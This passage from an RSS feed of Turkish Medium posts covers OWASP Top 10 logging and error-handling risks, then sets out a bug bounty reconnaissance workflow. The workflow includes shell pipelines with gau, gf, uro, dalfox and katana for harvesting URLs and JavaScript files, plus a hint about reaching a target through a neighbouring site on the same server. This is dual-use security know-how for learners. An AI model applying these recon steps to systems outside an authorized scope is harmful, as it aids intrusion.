(alerting) nedeniyle saldırganın sistemde uzun süre fark edilmeden kalması durumunu ele alır.</p><p><strong>Neden Bir Güvenlik Riski?</strong></p><p>Saldırganlar genellikle sisteme tek bir hamlede girmezler. Önce keşif yaparlar, parolanızı tahmin etmeye çalışırlar veya güvenlik açıklarını tararlar. Eğer bu “hazırlık” aşamaları loglanmazsa, saldırganın ana saldırısını yapana kadar geçirdiği süre görülemez.</p><p>· <strong>Fark Edilme Süresi: </strong>Ortalama bir siber saldırının tespit edilmesi aylar sürebilir. İyi bir loglama sistemi olsaydı, bu süre dakikalara veya saatlere indirilebilirdi.</p><p>· <strong>Adli Bilişim Eksikliği: </strong>Bir veri ihlali yaşandığında, “Kim, ne zaman, nasıl girdi ve hangi verileri çaldı?” sorularına cevap verecek bir log kaydı yoksa, zararı tespit etmek ve hukuki süreçleri yönetmek imkânsız hale gelir.</p><p><strong>Sık Yapılan Hatalar</strong></p><p><strong>1.</strong> <strong>Yetersiz Loglama: </strong>Sadece giriş/çıkış işlemlerini kaydetmek ama kritik işlemleri atlamak.</p><p><strong>2.</strong> <strong>Logların Şifrelenmemesi/Korunmaması: </strong>Saldırganın sistemi ele geçirdiğinde log dosyalarını değiştirmesi veya silmesi.</p><p><strong>3.</strong> <strong>Uyarıların Göz ardı edilmesi: </strong>Sistem çok fazla gereksiz hata mesajı üretiyorsa, yöneticiler önemli uyarıları fark etmeden geçebilir.</p><p><strong>4.</strong> <strong>Logların Merkezi Olmaması: </strong>Logların sadece yerel sunucularda tutulması, sunucuya erişim kaybedildiğinde bütün verilerin gitmesi.</p><p><strong>Nasıl Korunuruz?</strong></p><p>· <strong>Kritik Olaylar Kaydedilmeli: </strong>Giriş denemeleri, şifre sıfırlamaları, izin değişiklikleri, kritik veri erişimleri ve hata ayıklama loglarını mutlaka tutmalıyız.</p><p>· <strong>Logların Bütünlüğü Korunmalı:</strong> Log dosyalarına sadece “ekleme” yapılmasına izin verilmeli. Mümkünse loglar başka bir sunucuya gerçek zamanlı gönderilmeli.</p><p>· <strong>Anlamlı Uyarılar Oluşturulmalı:</strong> “Giriş hatası” her zaman bir saldırı değildir, ancak “5 dakika içinde 50 farklı kullanıcı adı ile 100 giriş hatası” net bir saldırı göstergesidir. Sadece önemli durumlarda alarm üreten akıllı sistemler kurulması gerekir.</p><p>· <strong>Düzenli İnceleme:</strong> Logların işe yarayıp yaramadığını anlamak için periyodik olarak sahte saldırı senaryoları çalıştırmalı ve log sistemlerin bu saldırıyı kaydedip kaydetmediği test edilmeli.</p><p><strong>Önemli Not: </strong>Bir saldırıyı tespit edemiyorsanız o saldırıyı engellemiş sayılmazsınız. Güvenlik sadece kale duvarları örmek değil, kaleye yaklaşan birini dürbünle izlemek ve tehlike anında alarmı çalmaktır.</p><h4><strong>A10:2025 — Mishandling of Exceptional Conditions (Olağanüstü Durumların Yanlış Ele Alınması):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*gjxdUs2GQBhesC1udcTGJg.png" /></figure><p>Bir web uygulamasının normal işleyişi dışına çıkan “beklenmedik durumlarla” karşılaştığında verdiği hatalı tepkileri konu alır. Yazılım geliştirirken her şeyin yolunda gittiği senaryolar için kod yazarız ancak bir şeyler ters gittiğinde sistemin nasıl tepki vereceği, güvenliğin en zayıf halkalarından biri olabilir.</p><p><strong>Olağanüstü Durumlar Nedir?</strong></p><p><strong>·</strong> <strong>Hatalı Veri Girişi: </strong>Uygulamanın beklediği tipte olmayan veriler.</p><p><strong>· Kaynak Tükenmesi:</strong> Bellek (RAM), CPU veya veritabanı bağlantı havuzunun dolması.</p><p><strong>·</strong> <strong>İletişim Hataları:</strong> Harici bir API’nin yanıt vermemesi veya ağ kopuklukları.</p><p><strong>· Güvenlik Tetikleyicileri:</strong> Bir kullanıcının sürekli şifre denemesi yapması veya kısıtlı bir alana zorla girmeye çalışması.</p><p><strong>Neden Bu Kadar Tehlikeli?</strong></p><p>Sistem bir hata aldığında eğer bu hatayı düzgün yönetmezse şu riskler doğar.</p><p><strong>·</strong> <strong>Bilgi Sızıntısı: </strong>Uygulama, hata mesajında sistemin dosya yollarını, veritabanı sorgularını, yazılım versiyonlarını veya sunucu yapılandırmasını ekrana basabilir. Bu saldırgan için bir haritadır.</p><p><strong>·</strong> <strong>Sistemin Durdurulması (DoS):</strong> Beklenmedik bir hatada uygulama tamamen kilitlenebilir veya çökebilir. Saldırganlar sistemi çökertmek için kasten bu tür hataları tetikleyebilir. (Denial of Service).</p><p><strong>·</strong> <strong>Güvenlik Mekanizmalarının Atlanması:</strong> Bazı durumlarda, bir hata oluştuğunda sistem “hata oluştuğu için güvenlik kontrolünü pas geçelim” gibi bir mantıkla çalışabilir. Eğer tasarım kötüyse, hata sonrası sistem varsayılan olarak açık (fail-open) moduna geçebilir.</p><p><strong>Nasıl Korunuruz?</strong></p><p><strong>· Güvenli Hata Mesajları: </strong>Kullanıcıya asla sistemin iç yapısını gösteren teknik detaylar vermemeliyiz. Sadece “Bir hata oluştu, lütfen daha sonra tekrar deneyin” gibi genel, zararsız mesajlar göstermeliyiz. Teknik detayları sadece arka plandaki log dosyalarında saklamalıyız.</p><p><strong>· Hata Yakalama (Try-Catch): </strong>Tüm kritik işlemler uygun try-catch blokları içine alınmalı. Bir hata olduğunda sistemin çökmesini engelleyerek, onu güvenli bir duruma (fail-safe) çekmeliyiz.</p><p><strong>·</strong> <strong>Fail-Safe Tasarım: </strong>Sistem bir hata ile karşılaştığında uygulamanın çalışmaya devam etmesini sağlamak yerine sistemi kilitlemek veya oturumu sonlandırmak gibi güvenli bir moda geçmesini sağlamalıyız.</p><p><strong>·</strong> <strong>Kaynak Yönetimi:</strong> Beklenmedik durumlarda sistemin kaynaklarını tüketmemesi için Rate Limiting ve Timeout mekanizmalarını doğru yapılandırmalıyız.</p><p><strong>Örnek Not:</strong> “Hata Yönetimi”, yazılımın kriz anındaki tavrıdır. İyi bir hata yönetimi, saldırganın sisteminiz hakkında bilgi toplamasını engeller ve sistemin kararlılığını korur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*R7rUA0aU-j5B0qNBPfXKYA.png" /><figcaption>Özetle</figcaption></figure><p>Sonuç olarak güvenlik bir varış noktası değil bir yolculuktur. Siber dünyada %100 güvenlik diye bir kavram ne yazık ki yoktur ama saldırganın işini imkansız hale getirmek mümkündür. OWASP Top 10, sadece bir liste değil uygulamalarımızı geliştirirken pusulamız olması gereken bir güvenlik rehberidir. Unutmayın güvenlik duvarları örmek tek başına yeterli değildir; sistemimizi, kodumuzu ve en önemlisi tasarım mantığımızı bir bütün olarak korumamız gerekir. Bugün paylaştığım bu 10 maddeyi projenize entegre ederek, dijital kalenizin kapılarını çok daha güvenli hale getirebilirsiniz.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=350ae8eb95bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Güvenliği ve Bug Bounty için Keşif-Raporlama Süreci]]></title>
            <link>https://medium.com/@emineero61/web-g%C3%BCvenli%C4%9Fi-ve-bug-bounty-i%C3%A7in-ke%C5%9Fif-raporlama-s%C3%BCreci-50f1ee466853?source=rss-35d121cac45c------2</link>
            <guid isPermaLink="false">https://medium.com/p/50f1ee466853</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Emineero]]></dc:creator>
            <pubDate>Tue, 05 May 2026 06:51:14 GMT</pubDate>
            <atom:updated>2026-05-05T06:51:14.093Z</atom:updated>
            <content:encoded><![CDATA[<p>Web güvenliği ve bug bounty metodoloji eğitimi üzerine bahsetmek istiyorum. İlk olarak zafiyet nedir oradan başlayalım. Zafiyet; bir sistemin tasarımında, kodlanmasında veya yapılandırmasında bulunan ve saldırganların yetkisiz işlem yapmasına olanak tanıyan güvenlik açığıdır.</p><p>Zafiyet bulmak için sırasıyla şu adımlar izlenir:</p><ul><li><strong>Keşif (Reconnaissance): </strong>Bir sisteme saldırmak için ilk olarak o sistemi tanımamız gerekir. Bunun için de hangi teknolojiler kullanılıyor, hangi domainler ve subdomainler var bunları öğrenmemiz gerekir.</li><li><strong>Analiz (Scanning &amp; Analysis):</strong> Sistemin giriş noktalarını (parametreler, formlar, API uçları) belirlememiz gerekir.</li><li><strong>İstismar (Exploitation):</strong> Belirlenen noktalara (örneğin bir arama kutusuna) beklenmedik girdiler göndererek sistemin hata yapmasını sağlayarak sistemin açıklarını bulabiliriz.</li><li><strong>Raporlama:</strong> Bulunan açığın sisteme etkisini (Düşük/Orta/Kritik) açıklayarak bildirilmesi gerekir.</li></ul><p><strong>Temel güvenlik ilkeleri (CIA):</strong></p><ul><li><strong>Confidentiality(Gizlilik):</strong> Veriyi sadece yetkililerin görmesini ifade eder. Eğer yetkisi olmayan kişiler de görüyorsa bir ihlal vardır.</li><li><strong>Integrity(Bütünlük):</strong> Verinin değiştirilememesini ifade eder. Eğer bir kullanıcının verilerini değiştirebiliyorsak burada integrity ihlal edilmiş demektir.</li><li><strong>Availability(Erişilebilirlik):</strong> Sistemin her zaman çalışmasını ifade eder.</li></ul><p>Zafiyetin büyüklüğünü ölçmek için CVSS diye bir siteyi kullanabiliriz. Buradaki özellikleri doldurarak neyi değiştirirsek daha güzel bir saldırı yapabileceğimizi bulabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0cO4-rwddr--r6VAGIMVOw.png" /><figcaption><a href="https://www.first.org/cvss/calculator/3.0">CVSS v3.0 Calculator</a></figcaption></figure><p><strong>Kullanılan bazı teknik terimler:</strong></p><ul><li><strong>Authentication(Kimlik doğrulama):</strong> Kullanıcı adı ve şifre ile sisteme giriş yapma yetkisidir. Yani sen de o siteyi kullanan bir kullanıcıysan authentication vardır.</li><li><strong>Authorization(Yetkilendirme):</strong> Giriş yaptın ama ne yapmaya yetkin var bununla ilgilidir. Eğer sadece okuma yapabiliyorsan düşüktür ama veri değiştirme de yapabiliyorsan yüksektir.</li><li><strong>False Positive:</strong> Bir aracın veya testin burada açık var demesine rağmen aslında orada açık olmaması durumudur.</li><li><strong>False Negative:</strong> Bir aracın veya testin burada açık yok demesine rağmen aslında orada açık olması durumudur.</li></ul><p><strong>Owasp Top 10</strong></p><p>OWASP Top 10, geliştiriciler ve web uygulaması güvenliği için standart bir farkındalık belgesidir. Web uygulamalarına yönelik en kritik güvenlik riskleri konusunda geniş bir fikir birliğini temsil eder. Şimdi de en son veriler ve güvenlik trendlerine dayalı güncellemelere bakalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*krqYH-BEYz_ZCOVwTDuW2w.png" /><figcaption><a href="https://owasp.org/Top10/2025/">Güncel OWASP Top 10 Sıralaması</a></figcaption></figure><p><strong>Domain bulma</strong></p><p>Bir şirketin sadece “ana_site.com” adresine bakarak çok az sayıda açık bulabiliriz. Bunun için “Bug bounty” alanında uğraşan kişiler test aşamasında kalmış subdomainleri hedef alır ve buradan daha fazla açık bulabiliriz. Bunun için kullanabileceğimiz siteler:</p><ul><li><strong>Security Trails:</strong> Subdomain keşfi için oldukça önemli bir uygulamadır. Bir şirketin sahip olduğu tüm IP bloklarını ve eski/yeni binlerce subdomaini API desteği sayesinde saniyeler içinde listeler.</li><li><strong>Whoxy:</strong> “Reverse WHOIS” özelliği çok güçlüdür. Şirketin sahibinin e-posta adresini veya adını biliyorsak, o kişi üzerine kayıtlı diğer tüm gizli domainleri de bulabiliriz.</li><li><strong>ViewDNS.info:</strong> Özellikle Reverse IP Look-up aracı çok işe yarar. Hedef sitenin bulunduğu sunucuda (IP’de) başka hangi sitelerin barındığını gösterir. Eğer aynı sunucudaki zayıf bir siteyi ele geçirilirse, hedef “komşu” üzerinden sızdırılabilir.</li><li><strong>DNSDumpster:</strong> Daha çok görselleştirme odaklıdır. Domainin ağ haritasını çıkarır. Hangi mail sunucusunu (MX) ve hangi isim sunucularını (NS) kullandığını şematik olarak gösterir.</li><li><strong>Crt.sh (Certificate Transparency):</strong> SSL sertifikalarını tarar. Bir şirket yeni bir alt alan adı açtığında ve ona SSL sertifikası aldığında, bu siteye hemen kaydı düşer. Henüz yayına girmemiş gizli projeleri buradan yakalayabilirsin.</li><li><strong>Osint:</strong> Herkese açık olarak verilen kaynaklardan veri toplanmasıdır.</li><li><strong>Web Archive:</strong> Bir sitenin geçmişteki halini de görmemizi sağlar. Önceden var olan ama şimdi kaldırılmış veya unutulmuş açıkları bulmak için kullanılır.</li></ul><p><strong>Web tarayıcı ve teknik analizleri</strong></p><p>Web uygulamasına yakından bakmak ve trafiği incelemek için kullanılırlar.</p><ul><li><strong>F12(DevTools) / Inspect: </strong>Sayfanın DOM (Document Object Model) yapısının incelenmesini sağlar. JavaScript ile dinamik olarak değişen içeriği buradan görürüz.</li><li><strong>Ctrl+U (Source Code):</strong> Sayfanın sunucudan gelen ham HTML kodunu gösterir. Gizli yorum satırlarını veya JS dosyalarını bulmak için iyidir.</li><li><strong>Mullvad VPN:</strong> IP adresini gizleyerek ve farklı lokasyonlardan siteye erişimi test etmek için kullanılır.</li><li><strong>Ytooll.net:</strong> Çeşitli dönüştürücü ve analiz araçları sunan bir yardımcı sitedir.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pRjt3tRt6-7uJqbA3-xPDQ.png" /><figcaption>Google ana sayfasında Ctrl+U</figcaption></figure><p>Topladığımız binlerce satırlık verileri ayıklamak için linux komutları hayati önem taşır. Mesela farklı sitelerden bir şirkete ait domainleri bulmak istiyoruz ama bunların bazıları aynı olacak. Topladığımız verileri bir txt dosyasında topladıktan sonra linux üzerinden grep komutu ile nereye bakacağımızı filtreleyip sort -u komutu ile tekrarları silebiliriz. Veya awk gibi komutlarla sadece istediğimiz sonuçları alabiliriz.</p><pre>grep &quot;.com&quot; hedef_listesi.txt | sort -u<br># Hedef listedeki domainleri çekip alfabetik sıraya koymak için bu şekilde kullanabiliriz. </pre><pre>awk &#39;{print $2}&#39; dosya.txt<br># Dosyadaki sadece 2. sütunu almak için kullanılır.</pre><p>Başka bir düzenleme içinse şu komut kullanılır: cat * | cut -d ‘ “ ‘ -f 2 bu komut bulunduğu klasördeki tüm dosyaları okur ve her satırı çift tırnak işaretine göre parçalara bölüp ikinci kısmı verir. Başka yerleri almak için de değiştirilip kullanılabilir. Genellikle URL ve API anahtarlarını ayıklamak için kullanılır.</p><pre>cat * | cut -d &#39; &quot; &#39; -f 2</pre><p><strong>XSS Reporter: </strong>Sitelerdeki XSS açıklarını test ederken, “blind XSS” (bizim görmediğimiz ama bir adminin paneline düşen açıklar) durumunda bize bildirim/log gönderen araçlardır.</p><p><strong>Grey Hat: </strong>Bazen yasal sınırda dolaşan ancak kötü niyet gütmeyen araştırmacı kişilere denir.</p><p><strong>Bug bulma örneği</strong></p><p>Her başarılı sızma testi doğru hedefi seçmekle başlar. Bugcrowd, HackerOne, Intigriti gibi platformlarda bir çok program var. Burada VDP ve Bug Bounty diye iki farklı kısım var. Bunlardan VDP sadece takdir mesajı gönderiyor ama Bug Bounty ile para ödülü kazanabiliriz. Buradan kendimize uygun olanı seçebiliriz. İçine girdiğimizde bize onunla ilgili bilgiler verir. in-scope(kapsam içi) veya out-of-scope(kapsam dışı) alanlarını iyi okumalıyız. Çünkü bazıları ana domain yerine belirli subdomain veya API’ları hedef gösterebiliyor. Genellikle Brute Force(kaba kuvvet saldırısı) kullanmaya izin verilmiyor.</p><p>Bir siteye girdiğimizde ilk olarak robots.txt kısmına bakmalıyız. robos.txt sitenin arama motorlarından gizlemek istediği dizinleri bize gösterir. Güvenlik açısından engelleyici bir işlevi yoktur sadece arama motorlarının ulaşmasını engeller. Burada kritik dizinler yazılmış olabilir bu yüzden bakmak önemlidir. Eğer buradan bir bilgi elde edemediysek sitenin eklenti kısmına yöneliriz. Wappalyzer aslında bir tarayıcı eklentisidir ve girdiğimiz bir web sitesinin hangi teknolojilerle geliştirildiğini tespit eder. Link Gopher ile de içinde bulunduğumuz subdomain’in linklerini bize listeler.</p><p>gau internet ortamındaki geçmiş Url’leri bize verir.</p><pre>echo &quot;subdomain.example.com&quot; | gau --threads 100 | tee dosya_adi.txt<br># Url&#39;leri hem dosyaya koyar &#39;hem de terminal  üzerinde gösterir. 100 istek sayısıdır.</pre><pre>cat dosya_adi.txt | grep -E &#39;\.php|\.jsp|\.json|\.js|\?&#39; | sort -u &gt; filtrelenmis_sonuclar.txt<br># aynıları silip bir tane bırakmak için bu kodu kullandık.</pre><p>Url’leri iyice süzmek için uro kullanılır. Bazen gerekli url’leri de eleyebilir.</p><pre>cat filtrelenmis_sonuclar.txt | uro &gt; urofiltrelenmis.txt</pre><p>gf … olarak çalıştırdığımızda bize …’nın içinde geçtiği url’leri getirir. Sadece istediklerimizi verdiği için bize büyük rahatlık sağlar.</p><pre>gf xss <br># xss url&#39;lerini verir.</pre><p>gf xss ile ayıkladığın o potansiyel linkleri, gerçekten zafiyet olup olmadığını anlamak için DalFox&#39;a gönderebilirsin. DalFox, gelişmiş bir XSS tarayıcısıdır sadece linkleri bulmakla kalmaz, DOM tabanlı XSS dahil birçok türü otomatik olarak test eder.</p><pre>dalfox -h </pre><p>wafw00f saldırıya geçmeden önce savunmayı tanımamızı sağlayan bir keşif aracıdır.</p><p>katana ile gizli kalmış JavaScript dosyalarını bulabiliriz.</p><pre>katana -u subdomain_adi -d 5 -jc -kf all --no-color | grep &#39;\.js&#39; | tee tum_js_dosyalari.txt<br># Bu kod satırı ile hedef web sitesinin tüm derinliklerine inerek, gizli kalmış veya unutulmuş JavaScript dosyalarını bulup bunları bir listede toplayabiliriz.</pre><p>nucleifuzzer, paramspider, nuclei gibi araçlar da kullanılabilir.</p><p>Bulduğumuz bir dosyada 404 hatası alıyorsak o dizin eskiden aktif olan ama şu an erişime kapatılmış hassas bir alan olabilir. Bu dosyaya erişme imkanımız var. Bunun için WayBackMachine kullanılabilir. Url’yi arama motoruna yapıştırınca o dosyanın ne zaman kullanılmış olduğuna erişebiliriz. Orada üstüne tıklayarak da dosyayı indirebiliriz. Hepsi inmese de bazılarını bu şekilde ulaşabiliriz. Bu dosyanın içinden de önemli bilgilere ulaşabiliriz.</p><p>BurpSuit ile de Url’leri kontrol edebiliriz.</p><p>Bu metodolojiyi takip ederek zafiyetleri tespit edebilir ve raporlayabiliriz</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50f1ee466853" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>